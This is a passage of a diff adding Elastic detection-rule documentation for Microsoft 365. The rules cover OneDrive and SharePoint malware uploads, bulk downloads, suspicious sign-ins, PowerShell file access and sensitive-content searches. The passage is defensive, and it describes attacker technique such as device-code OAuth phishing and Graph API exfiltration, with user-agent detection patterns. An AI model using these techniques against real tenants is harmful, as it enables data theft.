@@ +[[prebuilt-rule-8-19-21-m365-onedrive-malware-file-upload]] +=== M365 OneDrive Malware File Upload + +Identifies the occurrence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries an opportunity to gain initial access to other endpoints in the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 OneDrive Malware File Upload* + + +OneDrive, a cloud storage service, facilitates file sharing and collaboration within organizations. However, adversaries can exploit this by uploading malware, which can spread across shared environments, leading to lateral movement within a network. The detection rule identifies such threats by monitoring OneDrive activities for malware detection events, focusing on file operations flagged by Microsoft's security engine. This proactive approach helps in identifying and mitigating potential breaches. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event dataset is 'o365.audit' and the event provider is 'OneDrive' to ensure the alert is relevant to OneDrive activities. +- Examine the specific file operation flagged by the event code 'SharePointFileOperation' and action 'FileMalwareDetected' to identify the file in question and understand the nature of the detected malware. +- Identify the user account associated with the file upload to determine if the account has been compromised or if the user inadvertently uploaded the malicious file. +- Check the sharing settings of the affected file to assess the extent of exposure and identify any other users or systems that may have accessed the file. +- Investigate the file's origin and history within the organization to trace how it was introduced into the environment and whether it has been shared or accessed by other users. +- Review any additional security alerts or logs related to the user account or file to identify potential patterns of malicious activity or further compromise. +- Coordinate with IT and security teams to isolate the affected file and user account, and initiate remediation steps to prevent further spread of the malware. + + +*False positive analysis* + + +- Legitimate software updates or patches may be flagged as malware if they are not yet recognized by the security engine. Users should verify the source and integrity of the file and consider adding it to an exception list if confirmed safe. +- Files containing scripts or macros used for automation within the organization might trigger false positives. Review the file's purpose and origin, and whitelist it if it is a known and trusted internal tool. +- Shared files from trusted partners or vendors could be mistakenly identified as threats. Establish a process to verify these files with the sender and use exceptions for recurring, verified files. +- Archived or compressed files that contain known safe content might be flagged due to their format. Decompress and scan the contents separately to confirm their safety before adding exceptions. +- Files with unusual or encrypted content used for legitimate business purposes may be misclassified. Ensure these files are documented and approved by IT security before excluding them from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected OneDrive account to prevent further file sharing and potential spread of malware within the organization. +- Notify the user associated with the account about the detected malware and instruct them to cease any file sharing activities until further notice. +- Conduct a thorough scan of the affected files using an updated antivirus or endpoint detection and response (EDR) solution to confirm the presence of malware and identify any additional infected files. +- Remove or quarantine the identified malicious files from OneDrive and any other locations they may have been shared to prevent further access or execution. +- Review and revoke any shared links or permissions associated with the infected files to ensure no unauthorized access is possible. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if any lateral movement or additional compromise has occurred. +- Implement enhanced monitoring and alerting for similar OneDrive activities to quickly detect and respond to any future malware uploads or related threats. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:OneDrive and event.code:SharePointFileOperation and event.action:FileMalwareDetected + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Taint Shared Content +** ID: T1080 +** Reference URL: https://attack.mitre.org/techniques/T1080/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Sub-technique: +** Name: Upload Malware +** ID: T1608.001 +** Reference URL: https://attack.mitre.org/techniques/T1608/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc new file mode 100644 index 0000000000..e42435baea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-m365-onedrive-sharepoint-excessive-file-downloads]] +=== M365 OneDrive/SharePoint Excessive File Downloads + +Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Storage +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: SharePoint +* Data Source: OneDrive +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 OneDrive/SharePoint Excessive File Downloads* + + +This rule detects an excessive number of files downloaded from OneDrive using OAuth authentication. Threat actors may use OAuth phishing attacks, such as **Device Code Authentication phishing**, to obtain valid access tokens and perform unauthorized data exfiltration. This method allows adversaries to bypass traditional authentication mechanisms, making it a stealthy and effective technique. + +This rule leverages ESQL aggregations which limit the field values available in the alert document. To investigate further, it is recommended to identify the original documents ingested. + + +*Possible Investigation Steps* + + +- Review the user ID field to identify the user who performed the downloads. Check if this user typically downloads large amounts of data from OneDrive. +- Correlate user ID with Entra Sign-In logs to verify the authentication method used and determine if it was expected for this user. +- Review the authentication method used. If OAuth authentication was used, investigate whether it was expected for this user. +- Identify the client application used for authentication. Determine if it is a legitimate enterprise-approved app or an unauthorized third-party application. +- Check the number of unique files downloaded. If a user downloads a high volume of unique files in a short period, it may indicate data exfiltration. +- Analyze the file types and directories accessed to determine if sensitive or confidential data was involved. +- Investigate the source IP address and geolocation of the download activity. If it originates from an unusual or anonymized location, further scrutiny is needed. +- Review other recent activities from the same user, such as file access, sharing, or permission changes, that may indicate further compromise. +- Check for signs of session persistence using OAuth. If Azure sign-in logs are correlated where `authentication_protocol` or `originalTransferMethod` field shows `deviceCode`, the session was established through device code authentication. +- Look for multiple authentication attempts from different devices or locations within a short timeframe, which could indicate unauthorized access. +- Investigate if other OAuth-related anomalies exist, such as consent grants for unfamiliar applications or unexpected refresh token activity. +- Review the `file.directory` value from the original documents to identify the specific folders or paths where the files were downloaded. +- Examine if the downloaded files are from Sharepoint or OneDrive by checking the `event.code` field. +- Review the incoming token type to determine how authentication occurred. If the `token.id` field is populated, it indicates that OAuth authentication was used, which may suggest an OAuth phishing attack. + + +*False Positive Analysis* + + +- Verify if the user regularly downloads large batches of files as part of their job function. +- Determine if the downloads were triggered by an authorized automated process, such as a data backup or synchronization tool. +- Confirm if the detected OAuth application is approved for enterprise use and aligns with expected usage patterns. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, revoke the OAuth token used and terminate active OneDrive sessions. +- Reset the affected user's password and require reauthentication to prevent continued unauthorized access. +- Restrict OAuth app permissions and enforce conditional access policies to limit authentication to trusted devices and applications. +- Monitor for additional signs of compromise, such as unusual email forwarding rules, external sharing of OneDrive files, or privilege escalation attempts. +- Educate users on OAuth phishing risks and encourage the use of **Microsoft Defender for Office 365 Safe Links** to mitigate credential-based attacks. +- Enable continuous monitoring for OAuth authentication anomalies using **Microsoft Entra ID sign-in logs** and security tools. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "o365.audit" and + event.provider == "OneDrive" and + event.action == "FileDownloaded" and + event.outcome == "success" + and (user.id is not null and o365.audit.ApplicationId is not null) + and o365.audit.ApplicationId not in ( + "08e18876-6177-487e-b8b5-cf950c1e598c", // SharePoint Online Web Client Extensibility + "fb8d773d-7ef8-4ec0-a117-179f88add510", // Enterprise Copilot Platform + "d3590ed6-52b3-4102-aeff-aad2292ab01c", // Microsoft Office + "7ab7862c-4c57-491e-8a45-d52a7e023983" // App Service + ) +| eval session.id = coalesce(o365.audit.AppAccessContext.AADSessionId, session.id, null) +| where session.id is not null +| eval Esql.time_window_date_trunc = date_trunc(3 minutes, @timestamp) +| stats + Esql.file_directory_values = values(file.directory), + Esql.file_extension_values = values(file.extension), + Esql.application_name_values = values(application.name), + Esql.file_name_count_distinct = count_distinct(file.name), + Esql.total_file_size_mb = round((mv_sum(values(file.size))) / 1048576.0, 2), + Esql.o365_audit_Site_values = values(o365.audit.Site), + Esql.o365_audit_SiteUrl_values = values(o365.audit.SiteUrl), + Esql.user_domain_values = values(user.domain), + Esql.token_id_values = values(token.id), + Esql.event_code_values = values(event.code), + Esql.event_provider_values = values(event.provider), + Esql.auth_type_values = values(o365.audit.AuthenticationType), + Esql.is_managed_device_values = values(o365.audit.IsManagedDevice), + Esql.platform_values = values(o365.audit.Platform), + Esql.user_agent_values = values(user_agent.name), + Esql.source_asn_org_values = values(source.as.organization.name), + Esql.geo_country_values = values(source.geo.country_name), + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + user.id, + session.id, + source.ip, + o365.audit.ApplicationId +| where Esql.file_name_count_distinct >= 25 +| keep + Esql.*, + user.id, + source.ip, + o365.audit.ApplicationId, + session.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc new file mode 100644 index 0000000000..eb465bfc4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-m365-or-entra-id-identity-sign-in-from-a-suspicious-source]] +=== M365 or Entra ID Identity Sign-in from a Suspicious Source + +This rule correlate Entra-ID or Microsoft 365 mail successful sign-in events with network security alerts by source address. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: Higher-Order Rule + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 or Entra ID Identity Sign-in from a Suspicious Source* + + + +*Possible investigation steps* + + +- Investiguate all the alerts associated with the source.ip. + - Verify the network security alert details associated with this source.ip. + - Verify all sign-in events associated with this source.ip. + - Consider the source IP address and geolocation for the involved user account. + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-*, logs-azure.signinlogs-*, .alerts-security.* +// query runs every 1 hour looking for activities occurred during last 8 hours to match on disparate events +| where @timestamp > now() - 8 hours +// filter for azure or m365 sign-in and external alerts with source.ip not null +| where to_ip(source.ip) is not null + and (data_stream.dataset in ("o365.audit", "azure.signinlogs") or kibana.alert.rule.rule_id == "eb079c62-4481-4d6e-9643-3ca499df7aaa") + and not cidr_match( + to_ip(source.ip), + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) + +// capture relevant raw fields +| keep source.ip, event.action, event.outcome, data_stream.dataset, kibana.alert.rule.rule_id, event.category + +// classify each source ip based on alert type +| eval + Esql.source_ip_mail_access_case = case(data_stream.dataset == "o365.audit" and event.action == "MailItemsAccessed" and event.outcome == "success", to_ip(source.ip), null), + Esql.source_ip_azure_signin_case = case(data_stream.dataset == "azure.signinlogs" and event.outcome == "success", to_ip(source.ip), null), + Esql.source_ip_network_alert_case = case(kibana.alert.rule.rule_id == "eb079c62-4481-4d6e-9643-3ca499df7aaa" and not data_stream.dataset in ("o365.audit", "azure.signinlogs"), to_ip(source.ip), null) + +// aggregate by source ip +| stats + Esql.event_count = count(*), + Esql.source_ip_mail_access_case_count_distinct = count_distinct(Esql.source_ip_mail_access_case), + Esql.source_ip_azure_signin_case_count_distinct = count_distinct(Esql.source_ip_azure_signin_case), + Esql.source_ip_network_alert_case_count_distinct = count_distinct(Esql.source_ip_network_alert_case), + Esql.data_stream_dataset_count_distinct = count_distinct(data_stream.dataset), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.kibana_alert_rule_id_values = values(kibana.alert.rule.rule_id), + Esql.event_category_values = values(event.category) + by Esql.source_ip = to_ip(source.ip) + +// correlation condition +| where + Esql.source_ip_network_alert_case_count_distinct > 0 + and Esql.data_stream_dataset_count_distinct >= 2 + and (Esql.source_ip_mail_access_case_count_distinct > 0 or Esql.source_ip_azure_signin_case_count_distinct > 0) + and Esql.event_count <= 100 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-malware-file-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-malware-file-detected.asciidoc new file mode 100644 index 0000000000..b9a7bd23f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-malware-file-detected.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-m365-sharepoint-malware-file-detected]] +=== M365 SharePoint Malware File Detected + +Identifies the occurrence of files uploaded to SharePoint being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunities to gain initial access to other endpoints in the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 SharePoint Malware File Detected* + + +SharePoint, a collaborative platform, facilitates file sharing and storage within organizations. Adversaries exploit this by uploading malware, leveraging the platform's sharing capabilities to propagate threats laterally. The detection rule identifies when SharePoint's file scanning engine flags an upload as malicious, focusing on specific audit events to alert security teams of potential lateral movement threats. + + +*Possible investigation steps* + + +- Review the specific event details in the alert, focusing on the event.dataset, event.provider, event.code, and event.action fields to confirm the alert is related to a SharePoint file upload flagged as malware. +- Identify the user account associated with the file upload by examining the audit logs and determine if the account has a history of suspicious activity or if it has been compromised. +- Analyze the file metadata, including the file name, type, and size, to gather more context about the nature of the uploaded file and assess its potential impact. +- Check the file's sharing permissions and access history to identify other users or systems that may have interacted with the file, assessing the risk of lateral movement. +- Investigate the source of the file upload, such as the originating IP address or device, to determine if it aligns with known malicious activity or if it is an anomaly for the user. +- Coordinate with the IT team to isolate affected systems or accounts if necessary, and initiate a response plan to mitigate any potential spread of the malware within the organization. + + +*False positive analysis* + + +- Legitimate software updates or patches uploaded to SharePoint may be flagged as malware. To handle this, create exceptions for known update files by verifying their source and hash. +- Internal security tools or scripts used for testing purposes might trigger false positives. Maintain a list of these tools and exclude them from alerts after confirming their legitimacy. +- Files with encrypted content, such as password-protected documents, can be mistakenly identified as malicious. Implement a process to review and whitelist these files if they are from trusted sources. +- Large batch uploads from trusted departments, like IT or HR, may occasionally be flagged. Establish a review protocol for these uploads and whitelist them if they are verified as safe. +- Files with macros or executable content used in legitimate business processes might be detected. Work with relevant departments to identify and exclude these files from alerts after thorough validation. + + +*Response and remediation* + + +- Immediately isolate the affected SharePoint site or library to prevent further access and sharing of the malicious file. This can be done by restricting permissions or temporarily disabling access to the site. +- Notify the security operations team and relevant stakeholders about the detected malware to ensure awareness and initiate a coordinated response. +- Quarantine the identified malicious file to prevent it from being accessed or executed by users. Use SharePoint's built-in capabilities or integrated security tools to move the file to a secure location. +- Conduct a thorough scan of the affected SharePoint site and connected systems to identify any additional malicious files or indicators of compromise. Use advanced threat detection tools to ensure comprehensive coverage. +- Review and revoke any unauthorized access or sharing permissions that may have been granted to the malicious file, ensuring that only legitimate users have access to sensitive data. +- Escalate the incident to the incident response team if there are signs of lateral movement or if the malware has spread to other parts of the network, following the organization's escalation protocols. +- Implement enhanced monitoring and logging for SharePoint and related services to detect any future attempts to upload or share malicious files, leveraging the specific query fields used in the detection rule. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SharePoint and event.code:SharePointFileOperation and event.action:FileMalwareDetected + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Taint Shared Content +** ID: T1080 +** Reference URL: https://attack.mitre.org/techniques/T1080/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Sub-technique: +** Name: Upload Malware +** ID: T1608.001 +** Reference URL: https://attack.mitre.org/techniques/T1608/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc new file mode 100644 index 0000000000..ca1797631e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-21-m365-sharepoint-onedrive-file-access-via-powershell]] +=== M365 SharePoint/OneDrive File Access via PowerShell + +Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://pnp.github.io/powershell/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint/OneDrive File Access via PowerShell* + + +This rule detects file downloads and access from OneDrive or SharePoint using PowerShell-based user agents. Threat actors commonly use device code phishing to obtain OAuth tokens, then use native PowerShell or PnP PowerShell modules to enumerate and exfiltrate files from SharePoint and OneDrive. FileAccessed events are included because adversaries may read file content via the Graph API `/content` endpoint and save locally, bypassing traditional download events. + + +*Possible Investigation Steps* + + +- Identify the user whose token was used and determine if they typically use PowerShell for file operations. +- Review the OAuth application/client ID used to authenticate. Look for public client IDs that may indicate device code phishing. +- Check the source IP address and compare with the user's typical access locations. +- Identify which SharePoint site or OneDrive was accessed. +- Correlate with Azure AD sign-in logs to determine if device code authentication was used. +- Look for rapid sequential file downloads from the same session, which may indicate bulk data exfiltration. +- Check for search activity from the same user/session that may indicate reconnaissance before download. + + +*False Positive Analysis* + + +- IT administrators legitimately using PnP PowerShell for site management, migration, or backup operations. +- Automated scripts using PowerShell for legitimate data processing or synchronization tasks. +- Consider creating exceptions for known automation service accounts. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, immediately revoke the OAuth token and terminate active sessions for the affected user. +- Reset the user's credentials and require reauthentication with MFA. +- Review all files accessed during the session to assess data exposure. +- Implement conditional access policies to restrict device code authentication flow. +- Consider blocking public client IDs that are not needed for business operations. +- Review and audit OAuth application permissions in your tenant. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: ("SharePoint" or "OneDrive") and + event.action: ("FileDownloaded" or "FileAccessed") and + event.outcome: "success" and + user_agent.original: (*PowerShell* or *PnPPS* or *PnPCoreSDK* or *SharePointPnP*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-search-for-sensitive-content.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-search-for-sensitive-content.asciidoc new file mode 100644 index 0000000000..8d3cf245d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-sharepoint-search-for-sensitive-content.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-m365-sharepoint-search-for-sensitive-content]] +=== M365 SharePoint Search for Sensitive Content + +Identifies search queries in SharePoint containing sensitive terms related to credentials, financial data, PII, legal matters, or infrastructure information. Adversaries who compromise user accounts often search for high-value files before exfiltration. This rule detects searches containing terms across multiple sensitivity categories, regardless of the access method (browser, PowerShell, or API). The actual search query text is analyzed against a curated list of sensitive terms to identify potential reconnaissance activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Search for Sensitive Content* + + +This rule detects search queries in SharePoint or OneDrive that contain sensitive terms. The Microsoft 365 Unified Audit Log captures the actual search query text in the `SearchQueryText` field, allowing detection of reconnaissance activity targeting credentials, financial data, PII, legal documents, or infrastructure information. + + +*Possible Investigation Steps* + + +- Identify who performed the search and determine if this user has a legitimate business need to search for this type of content. +- Review the exact search terms used. Multiple sensitive terms in one query are more suspicious. +- Determine if the search was via browser, automation tool (PnP PowerShell), or API. +- Review the source IP and correlate with the user's typical access patterns. +- Look for subsequent file download or access events from the same user/session within minutes of the search. +- Determine if the user is a member of roles that would legitimately search for sensitive content (HR, Finance, Legal, Security, Compliance). +- Check Azure AD sign-in logs for authentication anomalies (device code flow, unusual location). + + +*Response and Remediation* + + +- If unauthorized search activity is confirmed, immediately review what files were accessed or downloaded following the search. +- Revoke the user's session tokens and require reauthentication with MFA. +- If the account was compromised, reset credentials and investigate the compromise vector. +- Review Data Loss Prevention (DLP) policies to ensure sensitive content is properly protected. +- Consider implementing sensitivity labels and access restrictions on high-value content. + + +==== Rule query + + +[source, js] +---------------------------------- +web where data_stream.dataset == "o365.audit" and + event.provider == "SharePoint" and + event.action == 